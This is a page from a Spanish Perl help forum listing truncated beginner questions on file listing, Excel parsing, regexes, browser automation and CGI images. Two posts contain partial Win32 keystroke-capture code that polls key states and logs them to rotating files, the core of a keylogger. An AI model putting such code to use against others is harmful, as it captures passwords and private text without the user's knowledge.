Foro - Perl en Español

¡¡Buenas noches!! ¡¡va, por lo menos en Argentina lo es!! Les cuento la inquietud que tengo.

pwd
/home/directorio
ls
archivo1 archivo2
my $ls = exec("ls");
my @lsarray = split(/\s+/, $ls);
print "$lsarray\n"; # solución esperada >> "archivo1"
archivo1 archivo2 # lo que sale como No quiero

Aguardo alguna sugerencia, me estoy iniciando en este lenguaje, unas de las primeras cosas que quiero realizar y ya me topo con algo. ¡¡Saludos!! y gracias.

Estimados, si bien siempre he ocupado Spreadsheet::ParseExcel::Simple para leer archivos Excel, hoy se me presenta lo siguiente:

Necesito leer desde una misma hoja ciertas celdas y luego comenzar un bucle para extraer datos desde la línea 100 en adelante.

Si bien he sacado los datos de las celdas fijas con Spreadsheet::Read, no sé cómo comenzar a sacar los datos desde la línea 100 en adelante...

Favor su ayuda, Gracias.

#!/usr/bin/perl

use Spreadsheet::Read;



open (FILE, @ARGV) ...

Quiero hacer un programa que controle mi navegador.

Ya vi el tutorial de SAMIE pero no me funcionó. Creo que es porque es porque era para Activestate y quisiera saber si hay algún módulo para controlar Firefox (Chrome, o IE, o cualquiera de esos 3, mejor si hay para los 3) y aun mejor si me pueden dar ejemplos.

¡Gracias! :D

¿ Alguien me podría decir cómo una expresión regular para sacar de un variable $text todo lo que tenga 10 dígitos y mostrarlo por pantalla ?

.

Ante todo, felicidades por esta página que me ha ahorrado un montón de horas buscando información y a los comentarios de explorer que aparecen en todos los lados :P

Tengo un problemilla con una búsqueda de un html que me llega que necesito sacar los vídeos de Youtube y los comentarios asociados.

Porción del html que quiero capturar:

<div id="cuerpo_13234" class="cuerpo">
Texto pruebra bllalblalbla ...

Tengo el siguiente código

use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);
use Win32::API;
use Switch;

Win32::API->Import('user32', 'GetKeyState', 'I', 'I');

sub GetCapsLock {
GetKeyState(0x14) & 1;
}

sub GetNumLock {
GetKeyState(0x90) & 1;
}

sub GetScrollLock {
GetKeyState(0x91) & 1;
}

sub SetCapsLock {} # Not yet implemented

sub SetNumLock {} # Not yet implemented

sub SetScrollLock {} # Not yet implemented

while(1){

if(-s OUT >= 1048576){
close(OUT);
#$I++;
open (OUT, ">>outkey$I.txt") || die "could not create ...

Tengo el siguiente código.

use Win32::API;

my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");

while(1) {

if (dame(0x10)) {
print "shift\n";
$shift = 1;
} else {
$shift = 0;
}

if(dame(0x31)) {
if($shift eq "1") {
print "!\n";
} else {
print "1\n";
}
}

}#

sub dame {
return($come->Call(@_) & 1);
}

sub savefile {
print $_."\n";
}


La idea es reconocer cuando alguien quiere hacer "!" pero el problema es que ...

¿ Existe algún módulo de Perl para poder abrir archivos zip o rar que tengan password ?

Tengo el siguiente código:
#!C:/xampp/perl/bin/perl.exe
print "content-type: text/html \n\n";
print <<EOF;
<img src="moto.jpg" />
EOF

pero al ejecutarlo no carga la imagen, pero si lo pongo en una página HTML normal:
<img src="moto.jpg" />
carga perfectamente. También intenté cambiar la URL de la imagen, como por ejemplo:

"C:/xampp/cgi-bin/DarkDragon/moto.jpg"
"C:/moto.jpg"
"localhost/cgi-bin/DarkDragon/moto.jpg"
"DarkDragon/moto.jpg"
"../../../moto.jpg"
"/moto.jpg"
"cgi-bin/moto.jpg"

pero con ninguna carga la imagen :?